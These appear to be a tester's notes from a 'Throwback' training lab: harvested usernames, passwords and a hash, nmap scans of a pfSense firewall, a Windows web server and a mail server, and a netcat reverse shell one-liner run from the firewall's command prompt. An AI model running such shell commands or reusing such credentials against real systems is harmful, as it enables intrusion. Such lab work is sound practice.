Creds
tbhguest : WelcomeTBH1!
admin : pfsense
HumphreyW : 1c13639dba96c7b53d26f7d00956a364
HumphreyW : securitycenter
PeanutbutterM : Summer2020 JeffersD : Summer2020 GongoH : Summer2020 MurphyF : Summer2020
PetersJ : Throwback317
admin-petersj :
Users:
================================================================
nmap -sV -sC -p- 10.200.34.138 —open -oN allports_firewall_10.200.34.138 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.5 (protocol 2.0) 53/tcp open domain (generic dns response: REFUSED) 80/tcp open http nginx |_http-title: Did not follow redirect to https://10.200.34.138/ 443/tcp open https nginx | ssl-cert: Subject: commonName=pfSense-5f099cf870c18/organizationName=pfSense webConfigurator Self-Signed Certificate | Subject Alternative Name: DNS:pfSense-5f099cf870c18
Diagnostics → Command Prompt. Then execute to get shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.50.31.48 8081 >/tmp/f
================================================================
sudo nmap -sV -sC -p- 10.200.34.219 —open -oN allports_PROD_10.200.34.219 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-30 20:26 EDT PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0) 80/tcp open http Microsoft IIS httpd 10.0
-phpinfo.php
-request.php
-data.txt
|http-server-header: Microsoft-IIS/10.0 |http-title: Throwback Hacks | http-methods: | Potentially risky methods: TRACE 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: THROWBACK | NetBIOS_Domain_Name: THROWBACK | NetBIOS_Computer_Name: THROWBACK-PROD | DNS_Domain_Name: THROWBACK.local | DNS_Computer_Name: THROWBACK-PROD.THROWBACK.local | DNS_Tree_Name: THROWBACK.local | Product_Version: 10.0.17763 | System_Time: 2022-03-31T00:33:28+00:00 | ssl-cert: Subject: commonName=THROWBACK-PROD.THROWBACK.local 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Service Unavailable |_http-server-header: Microsoft-HTTPAPI/2.0 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49673/tcp open msrpc Microsoft Windows RPC
-enum4linux returned nothing
================================================================
sudo nmap -sV -sC -p- 10.200.34.232 —open -oN allports_MAIL_10.200.34.232 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-title: Throwback Hacks - Login |_Requested resource was src/login.php |_http-server-header: Apache/2.4.29 (Ubuntu)
-SquirrelMail
143/tcp open imap Dovecot imapd (Ubuntu) |_imap-capabilities: listed more OK LOGINDISABLEDA0001 IMAP4rev1 ID LOGIN-REFERRALS IDLE have LITERAL+ post-login capabilities Pre-login STARTTLS ENABLE SASL-IR | ssl-cert: Subject: commonName=ip-10-40-119-232.eu-west-1.compute.internal | Subject Alternative Name: DNS:ip-10-40-119-232.eu-west-1.compute.internal | Not valid before: 2020-07-25T15:51:57 |_Not valid after: 2030-07-23T15:51:57 |_ssl-date: TLS randomness does not represent time 993/tcp open ssl/imap Dovecot imapd (Ubuntu) |_imap-capabilities: listed OK Pre-login IMAP4rev1 ID LOGIN-REFERRALS IDLE more LITERAL+ have capabilities AUTH=PLAINA0001 post-login ENABLE SASL-IR | ssl-cert: Subject: commonName=ip-10-40-119-232.eu-west-1.compute.internal | Subject Alternative Name: DNS:ip-10-40-119-232.eu-west-1.compute.internal